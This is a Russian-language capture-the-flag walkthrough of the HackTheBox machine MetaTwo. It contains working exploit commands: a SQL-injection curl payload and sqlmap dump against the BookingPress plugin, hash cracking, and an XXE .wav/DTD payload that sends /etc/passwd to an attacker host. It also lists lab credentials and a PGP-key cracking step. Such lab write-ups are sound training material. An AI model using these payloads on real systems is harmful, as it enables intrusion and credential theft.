# MetaTwo | HTB Easy

# Описание

На этой машине имеем wordpress-сервер, один из плагинов которого уязвим для неаутентифицированной SQL-инъекции, используя которую можно получить пароль пользователя для админской панели. После получим доступ к внутренним файлам путем XXE-уязвимости, а также доступ к ftp-серверу, а для повышения привилегий взломаем блок приватного PGP-ключа менеджера паролей passpie.

# Сканируем сервисы

```apache
$ nmap -T5 -sC -sV -oA nmap_result 10.10.11.186
Nmap scan report for smtp.metapress.htb (10.10.11.186)
Host is up (0.14s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT   STATE  SERVICE  VERSION
21/tcp  open   ftp?
22/tcp  open   tcpwrapped
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
43/tcp  filtered whois
80/tcp  open   http    nginx 1.18.0
|_http-title: Did not follow redirect to http://metapress.htb/
```

Видим порт 80 - HTTP с редиректом на http://metapress.htb/, добавляем в /etc/hosts.

```bash
10.10.11.186 metapress.htb
```

# Веб страница

Веб-сервер является Wordpress сервером с версией 5.6.2, которая уязвима для CVE-2021-29447, для которой нам нужно иметь доступ к учетке, обладающей правами загружать файлы.

> Пользователь, имеющий возможность загружать файлы (например, автор), может воспользоваться проблемой синтаксического анализа XML в библиотеке мультимедиа, что приведет к атакам XXE. Для этого требуется установка WordPress с использованием PHP 8. Доступ к внутренним файлам возможен при успешной атаке XXE.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1675416348112/594a9e45-659c-4001-baf8-f4befd98911a.png align="center")

Также, в исходном коде страницы Events можем обнаружить, что используется плагин bookingpress версии 1.0.10, которая уязвима для **CVE-2022-0739**.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1675416599329/39829a18-8721-40bd-ae39-5de0774847fd.png align="center")

# CVE-2022-0739

[https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357](https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357)

Для эксплуатации уязвимости нам не нужно обладать правами какого-либо юзера и достаточно лишь иметь данные о переменной \_wpnonce, значение которой можно найти в исходном коде страницы после активации ивента через модуль BookingPress:

* Создайте новую "категорию" и свяжите ее с новой "услугой" через меню администратора BookingPress (/wp-admin/admin.php?page=bookingpress\_services)
    
* Создайте новую страницу со встроенным шорткодом "\[bookingpress\_form\]"
    
* Зайдите на только что созданную страницу как неаутентифицированный пользователь и извлеките "\_wpnonce" (view source -&gt; search for "action:'bookingpress\_front\_get\_category\_services'")
    
* Выполните следующую команду curl
    

```bash
curl -i 'https://example.com/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=8cc8b79544&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -'
```

Получив \_wpnonce, выполним команду и перехватим запрос бурпом, чтобы далее скормить это все в sqlmap:

```bash
$ сurl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=f600af85bb&category_id=33&total_service=2' -x http://127.0.0.1:8080
```

Поймав запрос и сохранив его в файл, запустим slqmap:

```sql
$ sqlmap -r post.txt -p total_service -D blog -T wp_users --dump
 

[*] starting @ 22:44:24 /2022-12-06/

[22:44:24] [INFO] parsing HTTP request from 'post.txt'
[22:44:24] [INFO] resuming back-end DBMS 'mysql' 
[22:44:24] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: total_service (POST)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: action=bookingpress_front_get_category_services&_wpnonce=be77c6197f&category_id=33&total_service=1) AND (SELECT 5232 FROM (SELECT(SLEEP(5)))hLrl) AND (2634=2634

  Type: UNION query
  Title: Generic UNION query (NULL) - 9 columns
  Payload: action=bookingpress_front_get_category_services&_wpnonce=be77c6197f&category_id=33&total_service=1) UNION ALL SELECT NULL,NULL,CONCAT(0x71716b7871,0x5061684c6658754c64624e62786e504a7049646552447a744e6e71517255776177426b4244736476,0x71766a6a71),NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[22:44:24] [INFO] the back-end DBMS is MySQL
web application technology: PHP 8.0.24, Nginx 1.18.0
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[22:44:24] [INFO] fetching columns for table 'wp_users' in database 'blog'
[22:44:24] [INFO] fetching entries for table 'wp_users' in database 'blog'
[22:44:24] [INFO] recognized possible password hashes in column 'user_pass'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] N
Database: blog
Table: wp_users
[2 entries]
+----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
| ID | user_url       | user_pass             | user_email      | user_login | user_status | display_name | user_nicename | user_registered   | user_activation_key |
+----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
| 1 | http://metapress.htb | $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV. | admin@metapress.htb  | admin   | 0      | admin    | admin     | 2022-06-23 17:58:28 | <blank>       |
| 2 | <blank>       | $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70 | manager@metapress.htb | manager  | 0      | manager   | manager    | 2022-06-23 18:07:55 | <blank>       |
+----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
[*] ending @ 22:44:28 /2022-12-06/
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1675416708557/f9915dd1-0624-4272-9400-d6070c4d4c38.png align="center")

Получаем хеши, один из которых ломаем хешкетом, используя словарь rockyou:

```apache
❯ hashcat -m 400 -a 0 manager_pass.hash /usr/share/wordlists/rockyou.txt

$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70:partylikearockstar   
                              
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 400 (phpass)
Hash.Target......: $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
Time.Started.....: Tue Dec 6 23:08:23 2022 (17 secs)
Time.Estimated...: Tue Dec 6 23:08:40 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 6857 H/s (9.25ms) @ Accel:512 Loops:128 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 110592/14344385 (0.77%)
Rejected.........: 0/110592 (0.00%)
Restore.Point....: 106496/14344385 (0.74%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:8064-8192
Candidate.Engine.: Device Generator
Candidates.#1....: harmless -> music69
Hardware.Mon.#1..: Temp: 84c Util: 98%
```

Имеем креды для входа в wp-панель, откуда мы сможем проэксплуатировать XXE-уязвимость CVE-2021-29447 о которой говорилось вначале:

> manager@metapress.htb partylikearockstar

![]( align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1675416776946/10bb0fd1-dee2-4ba2-9f42-6ad94a3690eb.png align="center")

# CVE-2021-29447

Для эксплуатации данной уязвимости необходим CMS ниже версии 5.7.1., PHP 8 и учетная запись юзера, имеющего права на загрузку медифайлов, что подходит для нашего случая.

> [https://tryhackme.com/room/wordpresscve202129447](https://tryhackme.com/room/wordpresscve202129447) [https://www.acunetix.com/vulnerabilities/web/wordpress-5-6-x-multiple-vulnerabilities-5-6-5-6-2/](https://www.acunetix.com/vulnerabilities/web/wordpress-5-6-x-multiple-vulnerabilities-5-6-5-6-2/) [https://github.com/AssassinUKG/CVE-2021-29447](https://github.com/AssassinUKG/CVE-2021-29447)

Для этого нам необходимо создать .wav файл с полезной нагрузкой:

```bash
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOURIP:PORT/DTDFILE.dtd'"'"'>%remote;%init;%trick;]>\x00' > malicious.wav
```

А также .dtd файл со следующим кодом, это позволит нам выполнить код после того, как веб-сервер получит .dtd файл.

```bash
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://YOURSERVERIP:PORT/?p=%file;'>" >
```

После запускаем веб-сервер на указанном порту и загружаем вредоносный .wav файл и получаем кодированный /etc/passwd:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1675416790973/ebb80c0e-47ed-4ad2-8192-bfca91e2f107.png align="center")

Декодируем его:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1675416809084/5ab05e10-500a-4d51-ae1c-2a791a72238c.png align="center")

Через конфиг `/etc/nginx/sites-enabled/default` находим корневую папку вебсайта:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1675416821497/5db28e37-98e1-46ad-9e5b-293a8f390f5c.png align="center")

Проверяя `/var/www/metapress.htb/blog/wp-config.php` находим креды для ftp:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1675416828191/97e14593-4407-442d-a3ec-8870a0e54012.png align="center")

Подключаемся по ftp и по пути `mailer/send_mail.php` получаем креды, по которым подключаемся по ssh и забираем юзера:

```bash
# Check the content of send_email.php
$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;                          
$mail->Username = "jnelson@metapress.htb";                 
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";                           
$mail->SMTPSecure = "tls";                           
$mail->Port = 587;
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1675416841762/26f3771c-8591-46c5-b8ab-2f9649fc83df.png align="center")

# Повышение привилегий

На сервере настроен консольный менеджер паролей passpie, в котором присутствует ключ для root, зашифрованный PGP ключом, который находится в директории .passpie/:

> [https://github.com/marcwebbie/passpie](https://github.com/marcwebbie/passpie)

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1675416890948/0c809b31-8fc2-4977-a902-16ae645e4bc5.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1675416901579/a1b8198e-32fd-4f4b-acfb-0b4eb423ab41.png align="center")

Забираем приватный ключ на нашу машину и конвертируем в удобный формат командой:

```bash
$ gpg2john passpie.key > key.john

Passpie:$gpg$*17*54*3072*e975911867862609115f302a3d0196aec0c2ebf79a84c0303056df921c965e589f82d7dd71099ed9749408d5ad17a4421006d89b49c0*3*254*2*7*16*21d36a3443b38bad35df0f0e2c77f6b9*65011712*907cb55ccb37aaad:::Passpie (Auto-generated by Passpie) <passpie@local>::PASSPIE_PGP_KEY
```

И ломаем его используя john и rockyou:

```bash
$ john --wordlist=/usr/share/wordlists/rockyou.txt key.john
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1675416912344/02fecf32-9cb7-4b0e-aab6-69298fe79c7b.png align="center")

Зная ключевую фразу сохраняем пароли командой

```bash
$ passpie copy ssh
```

## Rooted!

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1675416921474/9b610beb-18de-4b69-97d7-1bca84ae9e8d.png align="center")
